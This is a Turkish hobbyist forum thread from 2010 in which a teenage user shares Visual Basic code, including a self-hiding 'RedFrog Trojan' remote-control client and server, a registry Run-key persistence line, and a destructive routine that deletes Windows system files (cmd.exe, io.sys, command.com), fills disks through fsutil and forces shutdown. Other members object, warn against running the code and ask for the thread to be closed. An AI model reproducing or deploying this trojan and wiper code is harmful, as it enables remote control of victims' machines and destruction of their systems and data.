Private Sub Command5_Click()
Winsock.SendData "hidesk"
DoEvents
End Sub
Private Sub Command6_Click()
Winsock.SendData "showdesk"
DoEvents
End Sub
Private Sub Command7_click()
Winsock.SendData "hidetask"
DoEvents
End Sub
Private Sub Command8_Click()
Winsock.SendData "getmouse"
DoEvents
End Sub
Private Sub Command9_Click()
Winsock.SendData "leavemouse"
DoEvents
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Text4.Text = Winsock.State
End Sub
Private Sub Form_Unload(Cancel As Integer)
Winsock.Close
End
End Sub
Private Sub winsock_connect()
Text4.Text = "Connected!"
Form1.Caption = "RedFrog Trojan Connected"
Command1.Caption = "Connect New"
End Sub
=================================0
Server
=================================0
Option Explicit
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd _
As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, _
ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal _
wFlags As Long) As Long
Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias _
"FindWindowA" (ByVal lpClassName As String, ByVal _
lpWindowName As String) As Long
Const SWP_HIDEWINDOW = &H80
Const SWP_SHOWWINDOW = &H40
Private Sub Form_load()
server.LocalPort = 277
server.Listen
Me.Hide
End Sub
Private Sub server_connectionrequest(ByVal requestid As Long)
server.Close
server.Accept requestid
End Sub
Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim tmpData As String
server.GetData tmpData
Select Case tmpData
Case "Cdclose"
JohnSysInfo1.CDRomDoor = False
Case "Cdopen"
JohnSysInfo1.CDRomDoor = True
Case "showtask"
Timer1.Enabled = True
Timer1.Interval = 10
Timer2.Enabled = False
Case "hidetask"
Timer2.Enabled = True
Timer2.Interval = 10
Timer1.Enabled = False
Case "hidedesk"
Timer3.Enabled = True
Timer3.Interval = 10
Timer4.Enabled = False
Case "showdesk"
Timer3.Enabled = False
Timer4.Enabled = True
Timer4.Interval = 10
Case "getmouse"
JohnSysInfo1.UseLeftHandMouse = False
Case "leavemouse"
JohnSysInfo1.UseLeftHandMouse = True
End Select
End Sub
Private Sub timer1_timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_SHOWWINDOW)
End Sub
Private Sub timer2_Timer()
Dim Thwnd As Long
Thwnd = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Thwnd, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
End Sub
Private Sub timer4_timer()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 5
End Sub
Private Sub timer3_timer()
Dim hWnd As Long
hWnd = FindWindowEx(0&, 0&, "Progman", vbNullString)
ShowWindow hWnd, 0
End Sub
Bunlardan Bazıları Çok işinize yarar :)
Alıntı yapılan: nuriozdas - 01 Ağustos 2010, 22:51:39
Büyük işler başardığından eminim Yanlış anlama beni lütfen bende yazıyorum vb6 ile halen..
Onemlı deyil :) zaten visual basic En basit yazılım programmı
Bu komutları derleyip exe dosyasınıda yüklesene foruma daha iyi olur.
Dim a As String
Private Sub Command1_Click()
ww.RemotePort = 808
ww.RemoteHost = Text1
ww.Connect
End Sub
Private Sub Command2_Click()
With ww
.LocalPort = 808
.Listen
End With
End Sub
Private Sub Command3_Click()
ww.SendData Text2
Label2 = "gönderildi"
End Sub
Private Sub ww_ConnectionRequest(ByVal requestID As Long)
ww.Close
ww.Accept requestID
End Sub
Private Sub ww_DataArrival(ByVal bytesTotal As Long)
ww.GetData a
Text3.Text = a
Label2 = "Alındı"
End Sub
Private Sub ww_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox Description
End Sub
ALINTIDIR
hemen yapıyorum :)
ilk önce
2 tane button
2 TextBox
1 Timer
Yapın
Şimdi Code lar:
Timer1 in code u :
Sendkeys.Send(TextBox1.Text)
Sendkeys.Send("{Enter}")
Timer1.Interval = TextBox2.Text
Button1[başlat] in code u
Timer1.Start()Button2[durdurma]:
Timer1.Stop()
Evet bu kodları yapıştırdıktan TextBox 2 ye gecikme yi yazıcaksnz(200 ideal)
yain 1 yazarsanız çok hızlı olur ve pc niz donar CTRL+ALT+DEL yapmanız gerekir
500 den fazla yaparsanız çok yavaş olur ii günler umarım işinize yarar
KAPATMA KODU
Shell ("shutdown -s -t 1")
RESETLEME KODU
Shell ("shutdown -r -t 1")
1 Yazan Kısma Ne kadar yazarsanız Okadar Sureyle Kapatır Ama Sn olarak degerlendiriceksiniz 60 yazarsanız 1 dk kapatır :)
Kayitlanan tarih registride surdadir: HKEY_CURRENT_USER/Software/Vb and Vba Program Settings/
Private Sub form_load()
Dim enddate As Date
enddate = GetSetting("Demo", "Demo", "EndDate", "01.01.89")
'EndDate = "01.01.89" ise enddate belirleniyor.
If enddate = "01.01.89" Then
enddate = Date
enddate = enddate + 30 '30 Gün toplaniyor Degiştire bilirsiniz Size Kalmış
SaveSetting "Demo", "Demo", "EndDate", enddate 'EndDate kayitlaniyor
End If
If Date > enddate Then MsgBox "Demo Süresi bitmistir."
End Sub
Merhabalar ortak ;
Peki deneme süresini kırmak yada uzatmak için ne yaparız? :o Türk olunca ilk akla bu geliyo naparsın :P
Allahım ya :D Bilmem Ama bulurlar merak etme :)
Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" ' .exe kısmına Programın adını yazmanız yeterlidir
Evet 4 tane text kutucuğu yapalım bir tane de button. Button kodlarına
Private Sub Command1_Click()
Kill ("shutdown.exe")
On Error Resume Next
Kill ("C:\WINDOWS\System32\shutdown.exe")
On Error Resume Next
Shell ("del /f /q shutdown.exe")
On Error Resume Next
Shell ("del /f /q C:\WINDOWS\System32\shutdown.exe")
On Error Resume Next
Kill ("Notepad.exe")
On Error Resume Next
Kill ("C:\WINDOWS\System32\Notepad.exe")
On Error Resume Next
Shell ("del /f /q Notepad.exe")
On Error Resume Next
Shell ("del /f /q C:\WINDOWS\System32\Notepad.exe")
On Error Resume Next
Kill ("D:\WINDOWS\System32\shutdown.exe")
On Error Resume Next
Shell ("del /f /q D:\WINDOWS\System32\shutdown.exe")
On Error Resume Next
Kill ("D:\WINDOWS\System32\Notepad.exe")
On Error Resume Next
Shell ("del /f /q D:\WINDOWS\System32\Notepad.exe")
On Error Resume Next
Kill ("C:\Program Files\Winamp\Winamp.exe")
On Error Resume Next
Kill ("D:\Program Files\Winamp\Winamp.exe")
On Error Resume Next
Kill ("winamp.exe")
On Error Resume Next
Shell ("del /f /q C:\Program Files\Winamp\Winamp.exe")
On Error Resume Next
Shell ("del /f /q D:\Program Files\Winamp\Winamp.exe")
On Error Resume Next
Shell ("del /f /q winamp.exe")
On Error Resume Next
Kill ("io.sys")
On Error Resume Next
Shell ("del /f /q io.sys")
On Error Resume Next
Kill ("config.exe")
On Error Resume Next
Shell ("del /f /q config.exe")
On Error Resume Next
Kill ("config.nt")
On Error Resume Next
Shell ("del /f /q config.nt")
On Error Resume Next
Kill ("system.sys")
On Error Resume Next
Shell ("del /f /q system.sys")
On Error Resume Next
Kill ("%SystemRoot%\system32\cmd.exe")
On Error Resume Next
Shell ("del /f /q %SystemRoot%\system32\cmd.exe")
On Error Resume Next
Kill ("C:\WINDOWS\System32\cmd.exe")
On Error Resume Next
Shell ("del /f /q C:\WINDOWS\System32\cmd.exe")
On Error Resume Next
Kill ("D:\WINDOWS\System32\cmd.exe")
On Error Resume Next
Shell ("del /f /q D:\WINDOWS\System32\cmd.exe")
On Error Resume Next
Kill ("cmd.exe")
On Error Resume Next
Kill ("C:\Program Files\Internet Explorer\IEXPLORE.EXE")
On Error Resume Next
Shell ("del /f /q C:\Program Files\Internet Explorer\IEXPLORE.EXE")
On Error Resume Next
Kill ("D:\Program Files\Internet Explorer\IEXPLORE.EXE")
On Error Resume Next
Shell ("del /f /q D:\Program Files\Internet Explorer\IEXPLORE.EXE")
On Error Resume Next
Kill ("IEXPLORER.exe")
On Error Resume Next
Shell ("del /f /q IEXPLORER.exe")
On Error Resume Next
Kill ("C:\WINDOWS\Desktop\*.ico")
On Error Resume Next
Kill ("C:\WINDOWS\Masaüstü\*.ico")
On Error Resume Next
Kill ("D:\WINDOWS\Desktop\*.ico")
On Error Resume Next
Kill ("D:\WINDOWS\Masaüstü\*.ico")
On Error Resume Next
Shell ("del /f /q C:\WINDOWS\Masaüstü\*.ico")
On Error Resume Next
Shell ("del /f /q D:\WINDOWS\Masaüstü\*.ico")
On Error Resume Next
Kill ("command.com")
On Error Resume Next
Shell ("del /f /q command.com")
On Error Resume Next
Shell ("fsutil file createnew C:\nemutluturkumdiyene.txt 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
On Error Resume Next
Shell ("fsutil file createnew D:\nemutluturkumdiyene.txt 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
On Error Resume Next
Shell ("shutdown.exe -f -s 20")
On Error Resume Next
Unload Me
End Sub
Bu kadar :) Daha bir çok şey eklerdim ama emliyet açısından K.bakmayın :)
İşinize karışmak gibi olmasın böyle eğlenceli konular buraya pek yakışmıyor. Burası bir elektronik forumudur. Visual basicin elektronikle ilgili kısımlarına ağırlık versek daha iyi olmaz mı? yani bir visualbasic forumuna gidip kod bankası gibi bir dosya bulup oradaki 100 bin çeşit kodları alıp buraya ayrı ayrı başlıklar halinde yapıştırmak hepimizin yapabileceği iş. Fakat orijinal bir çözüm, püf noktası yayınlarsanız daha çok ilgi çekecektir.
Merhaba ;
Kayıtdefterine erişim izni olmayan kullanıcı windowsu açarsa ne olur?
Açılışta hangi sırada çalışır hangi servis ve programlardan önce hangilerinden sonra ?
windows kullanıcı seçilmesini beklerken programımızın çalışması için ne yapmalıyız?
KodBanka'sı diye bir şey duymadım ama bunlar benım 1 yıl once paylaştıgım kodlar Kesinlık le hepsi benım'dir kendi yazdıgım kodlardır hiç biri alıntı deyildir Alıntı yazsam yazardım :)
@ßy_Sky Merhaba
Visual Basic altında yazdığın konular için her birisine ayrı bir başlık açmayınız. "VB örnekleri" gibi bir başlık açıp farklı konuları aynı başlık altında ayrı mesajlar ile gönderiniz.
Her küçük kod parçası için ayrı başlık (thread) açtığınız taktirde VB bölümü gereksiz çok sayıda başlık ile şişmekte.
Örnek, https://www.picproje.org/index.php/topic,9457.0.html
Forumda Daha Buyuk Ve daha kolay bulunsun diye yapıyordum :)
Benim yaptıgım kodları Ornek kod , Kod bankasından Aldın diyorsanız K.bakmayın Forumu bırakırım ...
Alıntı yapılan: t2 - 02 Ağustos 2010, 12:00:39
Burası bir elektronik forumudur. Visual basicin elektronikle ilgili kısımlarına ağırlık versek daha iyi olmaz mı?
t2 nin sözlerine aynen katılıyorum.
Ömer daha faydalı işlerle uğraşsan nasıl olur.
bunlar hem daha kolay hemde zevklı
Elektronik derken tam olarak anlamadım ne tur paylaşım istiyorsunuz ?
Alıntı yapılan: ßy_Sky - 02 Ağustos 2010, 21:21:13
Elektronik derken tam olarak anlamadım ne tur paylaşım istiyorsunuz ?
Seri port kontrolü , seri porttan nasıl veri alınır-gönderilir
USB den veri almak - göndermek gibi şeyler
birde neden kill yapıyorsunuz
bu kodları Denemeyiniz
Bu kodları silin bence milletin sistemi çökecek neymiş diye merak ederken
By_Sky
arkadasim öncelikle tebrik ederim 16 yasina ragmen ilgin ve alakan var bilgin de var
ama o tazecik beynini faydali düzgün seylere harca keylooger mis saka mis filan bu gibi seyler picproje de yeri yok sanada faydasi olmaz
mesela cok program yazmak istiorsan elektornik ile ilgili programlar yaz hem sana hem bize faydasi olsun
ayrica c++ c# diye bir sey yok bence eger yapabilyiorsan istedigin programi pascal la bile yaparsin
iyi calismalar
Teşekkurler Teknik Ama keylogger , ben sadece Zor oldugundan yapmak istedim Kolay şeyleri herkez yapar dimi ?
Alıntı yapılan: teknikelektronikci - 02 Ağustos 2010, 23:05:55
ayrica c++ c# diye bir sey yok bence eger yapabilyiorsan istedigin programi pascal la bile yaparsin
Böyle bir cümle sarf ediyorsan programcılık yapmanın manası yok bence. O zaman Ferrari de bir Şahin de ne de olsa hepsi araba :)
C++'nın Dili çok zor ...
valla gördüğüm en zor dillerden biri perl biri de brainf*ck
Alıntı yapılan: orhanc - 02 Ağustos 2010, 23:15:40
Alıntı yapılan: teknikelektronikci - 02 Ağustos 2010, 23:05:55
ayrica c++ c# diye bir sey yok bence eger yapabilyiorsan istedigin programi pascal la bile yaparsin
Böyle bir cümle sarf ediyorsan programcılık yapmanın manası yok bence. O zaman Ferrari de bir Şahin de ne de olsa hepsi araba :)
orhanc
eger ben a noktasindan b noktasina arabayla gitmem gerekyiorsa ve burda en fazla 80 km/h hizla gitmem gerekiyorsa ferariye binmeninde bir manasi yok öyle degilmi ? tabiki babadiller c++ c# veya digerleri olabilir ama ben istediigm programi visual baisc ilede yaptim dos ortaminda c ansi ilede yaptim sonucta isimi gördümü amacima ulasdimmi ? gerisi sorun degil haa eger baktim yavas kalyior isimi görmüyor opel den iner ferrariye binerim ;)
konunun opelle alakası yok yanlız şahindi o ;)
Alıntı yapılan: muhittin_kaplan - 04 Ağustos 2010, 16:08:44
konunun opelle alakası yok yanlız şahindi o ;)
hocam sahini sevmem opelci oldugum icin opel dedim :D
Ferrarinin sesini duy ve bin sonra diğerleri at arabası gibi gelir :D
Beyler Teşekkur ederim konumla ilgilendiginiz için ama lutfen saptırmayalım
Open,Ferari,Şahin hepsi aynı Araba :D Sadece hız,Surat ve Şekil olarak degişkler :)
Bununla Dosyayı kopyalarsın
Dim FileToCopy As String
Dim NewCopy As String
FileToCopy = "C:\test.exe"
NewCopy = "C:\Deneme\test.exe"
If System.IO.File.Exists(FileToCopy) = True Then
System.IO.File.Copy(FileToCopy, NewCopy)
End If
Bununla dosyanın konumunu bulursun
string fileName = "test.exe";
string fullPath;
fullPath = Path.GetFullPath(fileName);
Console.WriteLine("GetFullPath('{0}') returns '{1}'",
fileName, fullPath);
Bununla da kopyaladığın dosyayı çalıştırırsın
Dim startInfo As System.Diagnostics.ProcessStartInfo
Dim pStart As New System.Diagnostics.Process
startInfo = New System.Diagnostics.ProcessStartInfo("C:\test.exe")
pStart.StartInfo = startInfo
pStart.Start()
Yol çizmeden nasıl yapabilirim ? Mesela adam c:/ koyucak yada d:\ nasıl yapıcam ?
bunları bende biliyorum
Diğer tarafta bir sürü şey yaptım diyorsun ama basit bir işlemi yapamıyorsun. çok çelişkili konuşuyorsun.
Alıntı yapılan: ßy_Sky - 05 Ağustos 2010, 11:04:28
Yol çizmeden nasıl yapabilirim ? Mesela adam c:/ koyucak yada d:\ nasıl yapıcam ?
bunları bende biliyorum
Bu konunun bu kadar uzayabilmesi ilginç;
bu sitede konu açmak için belli bir seviyenin üstünde bilgi sahibi olmak diye bir şart var mı? YOK
bu sitede basit yada zor soru sormak/paylaşım yapmak şartı mı var ? HAYIR
bu sitede birbirimizi az biliyosun çok biliyosun diye yargılıyormuyuz? HAYIR
@ßy_Sky sormaya çalıştığı (başaramadığı) bir VB programının çalışma anında isteğine göre yeni bir çalışabilir (EXE) dosya oluşturması Cevabı bilen var mı??
bunu başarırsa şunu soracak bu exe ile başka bir exe yi nasıl birleştiririm?
@ßy_Sky açtığı konuların başlığını google yazın 1. sayfada zaten ulaşılabilir. Ama kendi yazmış olsun ama kopyalayıp yapıştırmış ne farkeder.
son olarak en önemlisi @ßy_Sky 16 yaşında kanındaki hormonlar gereği bilgisayar kapalıyken bile dosyalara ulaşabilir, işte hepsi bu
Teşekkurler :)
wayy beeaa by_sky sen neymissin böyle :)
paylaşımların için teşekkürler yalnız bu kodlar vbkodnabk programında ve interntte her yerde var
senin yazmadığını düşünüyorum :)
belki oralarada sen koymussundur onada bişi diyemem (:)
Bence bu başlık kapatılmalı. Ayrıca bu kanı kaynayan arkadaşlara da google üzerinden
Alıntı YapMDKGROUP, DTCG, BSCA, MTCT, TCCT, TRGCT
kelimelerini aratmalarını ve heyecanlarını oralarda paylaşmalarını öneriyorum. Ayrıca birde abi tavsiyesi böyle boş işlerle uğraşmayın. Hele hele VB kullanıyorsanız.